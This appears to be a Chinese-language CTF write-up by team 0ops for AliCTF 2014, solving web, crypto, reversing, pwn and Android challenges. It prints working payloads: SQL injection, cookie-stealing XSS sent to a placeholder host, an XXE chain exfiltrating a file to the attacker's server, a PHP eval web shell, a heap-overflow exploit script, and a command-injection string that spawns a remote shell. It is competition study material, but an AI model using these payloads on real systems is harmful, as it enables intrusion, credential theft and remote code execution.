Team Name: 0ops
ctf所有文件打包下載:Alictf.zip
因為是webshell,一般是post請求,但是經過檢查所有post并無異常。這樣,在get請求的情況下,可能會有關鍵字。 嘗試eval,shell,hack,attack, evil,login,pass等關鍵字,發現可疑文件:
config1.php?act=attack
統計id可得答案。
連上服務器看到這是一個模擬兩方通信的游戲,而玩家可以作為中間人篡改通信的消息。消息是由一串在Start與End之間由逗號分隔的數字組成的,根據數字的大小直接猜測其為十進制的ASCII碼,解碼后看到alice與bob互相交換了自己的RSA公鑰,而后的通信就是用RSA算法“加密”過了。
這里與其說是“加密”還不如說是“編碼”,因為之前交換的公鑰的模數N實在太短,非常容易就可以分解,強度這么弱的RSA就跟編碼差不太多了。然后解出之后的通信數據,[email protected],[email protected],而后alice與bob會再度交換公鑰,重復上述過程。
這里我因為想偷懶沒有用分解N而后求d的方法,而是直接把雙方在消息里發送的公鑰的指數e從65537換成1,這樣雙方發送的消息就是明文了,而作為中 間人只是需要把修改后的消息用另一方真正的公鑰再加密一次再發送即可,重復這樣的過程許多次之后服務器就會把flag發送出來。
根據提示是一個手工注入,常規的一些注入payload發覺都失效,所以一開始是感覺做了過濾。后來根據論文http://www.exploit-db.com/papers/18263/ 的提示(False Injection),嘗試了
Username: '-0||' / Password: 1
發覺還是失敗。于是猜測可能并不是做了過濾,而是做了硬編碼,不能出現-,只能用|。 最終的payload為:
?Username: '|0||' / Password: 1
即可拿到flag并提示web100b入口地址。
提交參數輸出到onerror事件中,用js做了過濾,不能出現關鍵字,不能有“+”。 基礎payload為
?window['location']="http://xxx/"+document['cookie']
想到用字符拼接繞過關鍵字過濾,用
?'coo'['CONCAT'.toLowerCase()]('kie')
這種方式繞過“+”,最終payload為
"><window['loca'['CONCAT'.toLowerCase()]('tion')]='http://xxx/'['CONCAT'.toLowerCase()](document['coo'['CONCAT'.toLowerCase()]('kie')]);>
url編碼后提交得到flag。
根據題面猜測是XML實體注入。先找了一些中文網站的payload試了一下,發覺都不行,感覺主要原因是因為沒有回顯(結合題面的吐槽進一步確定 了)。于是開始Google。發現了這篇paper: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf。
pdf里講得很詳細,有exploit可用。 網頁上填寫內容為: ???
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ourserver_ip/xdb.xml">
%remote;
%param1;
]>
<root>&external;</root>
?xdb.xml的內容為:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=bb.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://ourserver_ip/log.php?msg=%payload;'>">
要注意的地方是,這里不能直接用file協議取bb.php的內容,因為絕對路徑不確定感覺。所以采用php://filter以及base64-encode的trick。最后讀到的msg 再base64_decode一下就出來flag了。
web400a就是抓包會看到一個文件上傳的表單,上傳文件后會給出上傳后的路徑和文件名,發現文件名與當前時間相關。 如/upload/upload/20140920170801.php。但是訪問的時候會發現被刪了。因此需要不斷發生請求在被刪之前訪問到上傳上去的腳本。腳本內容為在上一 級目錄生成一句話。
<?php file_put_contents('../salt.php', '<?php eval($_POST["c"]); ?>'); ?>
然后在上級目錄找到上傳后的一句話,就可以菜刀連接了。 菜刀連上去之后發覺/home/wwwroot/default/upload目錄下面有一個dfghjdjlkfghd.zip。但是有密碼,所以一時之間束手無測。隨后根據提示,要去 Github上進行查找。然后再根據之前curl連接的時候發覺返回結果有一個注釋,大概是這個樣子:
<!--
@author: nidongde
-->
自然地,就去找nidongde的github主頁,隨后發現https://github.com/nidongde/test頁面有解壓縮密碼: test_nidongde,解壓之后得到一個php文件。提供了它的網址,以及一段內容,通過認證之后服務器會返回flag。條件:
if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){
由于對GET、GLOBAL等做了過濾,所以就用POST方式傳數據。一開始卡住了,因為發現弄不出足夠大的整數取反之后符合要求,但是再根據提示要用 x64的思維。x64下面自然int類型是很大的。最后的payload如下:
curl -d '_POST[alibaba][security]=2347230984234' -i 'http://web400b.alictf.com/alibaba_CTF_security/'
即可得到flag。
頁面最頂端js解密后為
location.href.indexOf("helloalibaba")==-1&&(location.);
即需要在url里有"helloalibaba",可以人為構造a= helloalibaba來繞過
經過測試,本題有兩層過濾。
Php過濾單引號、雙引號和“-”,防止逃逸出script標簽。
Js主要過濾<
,并把所有字母變大寫。
因為參數直接輸出在<script>
內,繞過php的過濾可用js的字符編碼,變成\xff形式。
對js過濾,可以用<<script></script>
繞過。因為會把所有字母變大寫,所以<script>
標簽里js代碼中不能出現字母。在這里通過調用遠程js代碼來避免寫這種js。
因此最終payload為
<<script src=//xxx/1.js></script>
???????? ?在linux服務器上創建1.JS文件,內容為
p://xxx/xss.php?x='+document.cookie;
提交得到flag。
題目提示說會把信息加密存儲到"secret.db"文件中,并且我們的目標是加密的key。那么很自然地,把ch1.exe拖進IDA之后,根據寫內容到"secret.db"文 件來定位代碼片段。IDA搜索text "secret.db"定位到函數sub_423400,看到了fopen,基本八九不離十了。
于是退到外面,看調用sub_423400之前,發覺調用了函數sub_4230f0,然后一進去,發現一連串非常可疑的賦值(從v19開始的),本著試一試的態 度,在0042325D下了一個斷點(因為到這里一連串賦值結束了),然后用Ollydbg跑一下,從內存里直接把這連續的一段可見字符弄出來就好了,即是 flag。(根據一些常量字符串以及對數據的操作,加密方式應該是AES)。
根據題目的描述,是程序對輸入的一段內容做了加密之后放到了flag.crypt文件。先要找到輸入的途徑,通過strings以及對程序稍稍調試,可以發現存放明 文的輸入文件為flag.txt。
我們隨便給flag.txt輸入連續的123412341234,發覺出來的flag.crypt文件的hex內容為:
A1 A2 A0 A3 9F A4 9E A5 A1 A2 A0 A3 9F A4 9E A5 A1 A2 A0 A3 9F A4 9E A5
正好有循環段,猜測加密過程是1-1對應的替換,1個bytes變到2個bytes。接下來做一個簡單的程序,把可見字符全部放到一個文件中,然后運行 ch2.exe。這樣可以得到可見字符1-1對應的碼表。接下來根據題目提供的flag.crypt文件的hex內容倒查這張表,即可獲得明文(flag)。
程序下載下來先運行,發現點Find The Key之后就會崩潰。用IDA看,發現是加了UPX的殼,用UPX原版工具就可以直接脫殼。但是脫殼后程序就沒法直接運行了,丟進IDA看到1400018C0這個函數會先加載一個DecryptDll.dll,然后執行其中的RSADecrypt函數,但是程序同目錄下并沒有這個dll所以直接運行會報錯。
但是程序脫殼之前運行的話至少還會彈出來一個界面,脫了殼之后連界面都沒了,這里面肯定還是有些問題。于是去看了下脫殼后的程序的資源區,發現里面就有一個dll,提取出來后重命名為DecryptDll.dll,再次運行程序,依然報錯。
用windbg調試,發現程序還是在調用RSADecrypt的時候出了錯,仔細檢查這個函數調用,發現有四個參數,第一個是密文,第二個是密文長度,第三個是0,第四個是64,而程序崩潰是由于一個空指針引用,所以猜測第三個參數可能是解密后輸出明文的buffer,第四個是明文buffer的長度。于是把第三個參數從0改成一個可寫地址,再次執行這個函數,然后查看那個可寫地址就會發現flag
此題會檢查referer和cookie。用web100a登陸后,發現cookie中有
username=xbb; isadmin=0; sign=ZGYwMGVhNTZjNGQyZTcwOWRiYWNmMGVkZGYwMGVhNTY0NjliOWUzMA%3D%3D
修改或者刪除cookie中任意一項就會報錯。顯然sign對參數做了驗證。
Sign base64解密后為一段40位的hash:df00ea56c4d2e709dbacf0eddf00ea56469b9e30 觀察得hash中有重復部分。去掉頭上重復部分剩32位,cmd5 上反查為xbb0。 正好是cookie中username和isadmin的拼接。
利用這個性質偽造cookie,
username=admin; isadmin=1; sign=ZGY2NzhjNjFlMDBjZjI1YWQ0MjY4M2IzZGY2NzhjNjFmNDJjNmJkYQ==
提交得到flag。
此題限定了開始部分,利用基礎認證的形式,構造
http://www.taobao.com:[email protected]/5.php
得到flag。
頁面打開后發現會載入whitehat.jpg,下載改后綴為rar,猜密碼為www.alictf.com,得到提示*.php?img=exp。
又根據題目說在找不到的地方,查看robots.txt,得到兩個隱藏頁面。
upload.php可以用來上傳文件,不過強制隨機重名命名為jpg文件,內容并不檢測。 flag.php為限制文件,只有admin能看到。
利用.php?img=exp可以構造出xss來,不過會被chrome自身的xss auditor攔截。 查看crossdomain.xml文件,發現<allow-access-from domain=""/>
這樣本題就很明確為構造swf的xss。
參考http://www.freebuf.com/articles/web/37432.html 構造惡意swf文件,通過上傳點上傳。
本題php會檢查提交的參數里有沒有”/”,若存在則會忽略輸入,可以用html編碼為/繞過。
另外在接收flag.php內容的站點需要配置crossdomain.xml文件,內容同web300b的crossdomain.xml文件。 最終payload為
?"><embed src="http://web300b.alictf.com/upload/A57yr8SGGfZKFSPHKrAGk0DYMETL6Aok.jpg"
提交后記錄flag用的腳本發現內容沒有flag,注意到管理請求的referer為http://127.0.0.1開頭,修改Swf讀取的url指向http://127.0.0.1/flag.php,再次提交 得到flag。
大概瀏覽了一下是一個Linux提供RPC的程序,一共有3個functoin可以讓你調用。漏洞發生在rpc_function_1,其中注意到: ?
mtl = temp.mtt * tl + 1; mt = (char*)malloc(mtl);
if(mt)
{
strcpy(mt,temp.t);
for(i = 1;i < temp.mtt;i++)
??????}
由于temp.mtt以及tl均為unsigned short類型并且均可控,所以構造數據可以使得兩者乘法導致整形溢出,mtl會變得較小,于是申請的堆塊區域會不足以 放得下傳進來的數據,導致堆溢出。完整的exploit如下:
#!python
import struct
import time
import socket
import telnetlib
import random
import sys
def p(x):
return struct.pack('<I', x)
def netp(x):
return struct.pack('>I', x)
def shortp(x):
return struct.pack('<H', x)
def up(x):
return struct.unpack('<I', x)[0]
def readuntil(f, delim='msg?\n'):
d = ''
while not d.endswith(delim):
n = f.read(1)
if len(n) == 0:
print 'EOF'
break
d += n
return d[:-len(delim)]
host = 'codesafe100.alictf.com'
port = 30000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
f = s.makefile('rw', bufsize=0)
token = '此處user_token'
temp = shortp(198)
temp += 'A' * 512
payload = chr(len(token)) # len_token
payload += token # token
payload += chr(1) # function_id
payload += netp(len(temp)) # len_data
payload += temp
f.write(payload)
t = telnetlib.Telnet()
t.sock = s
t.interact()
?? ????###200pt
在rpc_function_2里,看到最后有一句:
sprintf(buffer,"%s has been parsed, tag:%s, value:%s.", line, pr.t, pr.v);
這里隱約就有一些不好的味道了,再翻 到函數的開頭仔細檢查下buffer的長度,是512字節,而后面的參數里的line就是request->data,長度<=512。所以這里的sprintf是可以造成buffer溢出 的,剩下的只是要讓程序的邏輯能夠走到這一句語句即可。
根據前面的代碼分析,提交的line需要滿足形如”a = b”這樣的格式,并且b需要使得function0返回一個非0值。再根據閱讀function0的代碼,能夠知道b需 要是一個長度為16的僅由數字組成的字符串,經過后面的一系列運算后需要使得s % 10 == 0這個判斷為真,而b只要為16個0就可以滿足條件,所以最終 提交的line為
?line = 'huihui=' + ('0'*16).rjust(512-7-1, ' ') + '\n'
即可觸發漏洞。
上來先大概看了一遍,沒看到什么特別的明顯的問題,再仔細從rpc_function_0開始看,看到rpc_function_2的后半部分的時候又看到一個sprintf:
?sprintf(r,"/temporary folder/2014-08/%s",p);
其中r = (char*)malloc(256);
而p是function6的一個輸出,function6的功能是從url中提取host,port和path信息,p就是url中的路徑,url的長度限制也為256,且需要以 ?http://alibaba.com/開頭所以p長度最多為236,但是加上"/temporary folder/2014-08/"之后就可以往r里輸出262個字節,導致堆溢出。
再從頭看一遍rpc_function_2的代碼,要觸發漏洞需要過程序前面的一些條件判斷,比如
nm = 0x4848
ts = time.time() + 999
而k需要過一個function4之后與”alibaba-inc”相等,看一下代碼就發現function4是凱撒密碼,偏移是010也就是八進制的10也就是十進制的8,所以做一下反向偏移的凱撒加密就得到
k = 'sdatsts-afu'.ljust(16, '\x00')
v=2
url_len = 255
url = 'http://alibaba.com/'.ljust(255, 'p') + '\x00'
即可。
這里還可能會有的問題的地方就是time_t了,在32位下是unsigned int,大小是4字節;而在64位下是unsigned long long,大小是8字節。本地測試的時候 還發現,如果是64位的話這個struct stc的內部結構可能還會有一些對齊方面的問題。經過測試服務器上的程序是32位的,不會有64位上的對齊問題。
這個程序非常詭異的在rpc_function_1里有調用system函數:
char cbuffer[512];
snprintf(cbuffer, 512,"ping %s",temp.buffer);
system(cbuffer);
這里temp.buffer的長度限制為256,而cbuffer為512,所以不會有溢出。但是后面這個system真是讓人醉了,看起來好像是在執行ping,但是參數是用字 符串拼接起來的,只要里面有分號就可以造成命令注入,比如拼接上如下字符串 '; /bin/sh<&9 >&9 2>&9'
就可以在遠端起一個shell。剩下的還是要過程序前面的邏輯的問題,粗看了下似乎需要用戶名為admin才有執行命令的權限,而做口令判斷的這個地方用到了function3,而function3實際上是弗吉尼亞 密碼,用admin登錄時候的key就是”admin”,經過加密變換之后需要與”ALIBABA”相等,于是就可以構造好用戶名和口令了,但是本地測試的時候卻莫名 其妙地提示No privilege.感覺非常奇怪,于是就上gdb在校驗密碼的地方下了個斷點,發現login變量先被賦值成1,而后又被賦值成0,非常詭異,而后再 去看代碼,看到
if(strcmp(value,"ALIBABA") == 0)
login = 1;
else
printf("%s login failed!",szUser);
login = 0;
這個真是醉了,else后面居然沒加大括號!這個跟蘋果之前被爆出的goto fail bug有異曲同工之處。這就導致了login = 0;這句賦值始終會被執行, 同時也就意味著admin永遠無法登陸成功,難道這個system就是故意放著逗你玩的嗎?再從頭仔細看一遍代碼,發現提交數據中的temp.user和temp.pass長度都是128,而用來做判斷的szUser和szPass只取了前面63個字節,并且只是對temp.user用function1去掉了尾部的空格,并沒有處理szUser和szPass,只是 在作為guest登錄成功之后才會用function1處理一下szUser,而后的權限檢查是判斷這個處理過后的szUser是否等于"admin",所以可以構造這樣一個
user = 'admin'.ljust(64, ' ') + 'p'
以guest的邏輯登錄并且繞過admin的權限檢查,最終的提交數據為
user = 'admin'.ljust(64, ' ') + 'p'
hashval = 'alibaba'
password = ''
for i in xrange(len(hashval)):
c = chr((ord(hashval[i]) - ord('guest'[i%5])) % 26 + ord('a'))
password += c
cmd = '; /bin/sh<&9 >&9 2>&9'
data = user.ljust(128, '\x00') + password.ljust(128, '\x00') + cmd.ljust(256, '\x00')
本地測試的時候可以成功開出shell,不過遠程的服務器就只是返回了一個flag而已>_<
反編譯,在源碼中就能看到文件的名稱
反編譯,通過搜索method的功能搜索sendSMS,得到次數。
根據題目描述,這里是考察android的webview漏洞。程序加了特殊的殼,不容易直接分析,但是如果要利用這個漏洞要知道在addJavascriptInterface里 觸發漏洞時需要調用的對象是什么。 ????????? ?這里用到了LoCCS實驗室的安卓API監控工具,鏈接在https://github.com/romangol/InDroid。直接把apk扔進去跑,并一路記錄apk調用的API。結果可以 發現進入addJavascriptInterface之后顯示的對象名字叫做SmokeyBear。題目說要彈出一個Toast來獲取flag。于是我們構造一個js文件,其中
function execute() { SmokeyBear.showToast(); }
嘗試調用showToast方法來獲得Toast里的內容,即flag。
這個apk程序同樣也是加了特殊的殼,不能直接進行反匯編然后分析。于是再次使用LoCCS實驗室的安卓API監控工具跑一下。可以看到在流程中,apk調 用了一些Java相關的加密函數,其中收集到的信息包括(Indroid可以進行API調用以及其具體參數是什么的收集):
算法:DESede
key:1f 98 ce ab 20 97 70 ef a8 75 c2 45 85 3e ce 76 1f 98 ce ab 20 97 70 ef
IV: 00 0a 0a 0a 0a 02 02 aa
分組模式:CBC
Padding模式:PKC5
加密之后,同000a0a0a0a0202aa5458d715704493d8e6b9bd38f8b6be0e進行比較。去掉前面的IV,后面就是密文。 由于整個信息非常齊全,所以可以寫一個解密程序最后結果是(hex):
697A5E5A4A940E59C9FE4BEB8
將其轉成中文編碼可得到flag。
題目里給了一個so,丟進IDA看到一大堆函數,用readelf發現有JNI_OnLoad這個函數,丟進IDA看,發現很多函數里都有switch的結構,估計是都做了控 制流混淆了,查看程序中的字符串也只看到一大堆的奇怪字符串,猜測是加過密了。嘗試寫一個APK去調用這個so進行動態調試,但是一直都沒有成功, 所以剛開始的時候毫無頭緒。 后來看到題目里給了提示是/proc/%pid%/下的某個文件,然后就決定既然動態分析一直不成功的話不如嘗試一下靜態分析,雖然代碼有混淆但還不算是 特別嚴重,特別觀察文件打開相關庫函數(open、fopen)的參數,發現路徑名會用sprintf來生成,并且再往前看發現有getpid的調用,于是就猜測程序是先 生成一個類似/proc/%d/xxxx這樣的字符串,再用sprintf把pid代入生成最終的路徑名,而且字符串解密的函數也就在附近,解密算法也不是非常復雜,但 是不同的字符串用的解密算法是不同的,稍微感覺有些蛋疼。
我們先找到了一個/proc/%d/cmdline,提交了不對,只能繼續再尋找,最后找到了一個/proc/%d/stat,對應的解密算法在51624附近
byte_1011E8[v1] = 0xCF * byte_E68CA[v1] - 0x6A - (0x9E * byte_E68CA[v1] & 0x2C);
對應密文在E68CA處
0xF7, 0x3A, 0xDC, 0xB7, 0xFB, 0xF7, 0xDD, 0x6E, 0xF7,0xB, 0x7E, 0x59, 0x7E
運氣較好,嘗試提交后通過。